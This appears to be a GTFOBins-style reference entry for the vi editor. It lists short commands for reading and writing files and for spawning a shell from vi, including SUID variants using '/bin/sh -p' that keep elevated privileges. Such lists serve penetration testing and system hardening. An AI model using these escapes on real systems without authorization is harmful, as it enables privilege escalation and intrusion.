vi

File Read

vi /path/to/input-file

File Write

Where `^[` is the escape key.

vi /path/to/output-file
iDATA
^[
w

Shell

vi -c ':!/bin/sh' /dev/null
vi -c ':shell'
vi -c ':set shell=/bin/sh | shell'

SUID override:

vi -c ':set shell=/bin/sh\ -p | shell'
vi -c :terminal /bin/sh

SUID override:

vi -c ':terminal /bin/sh -p'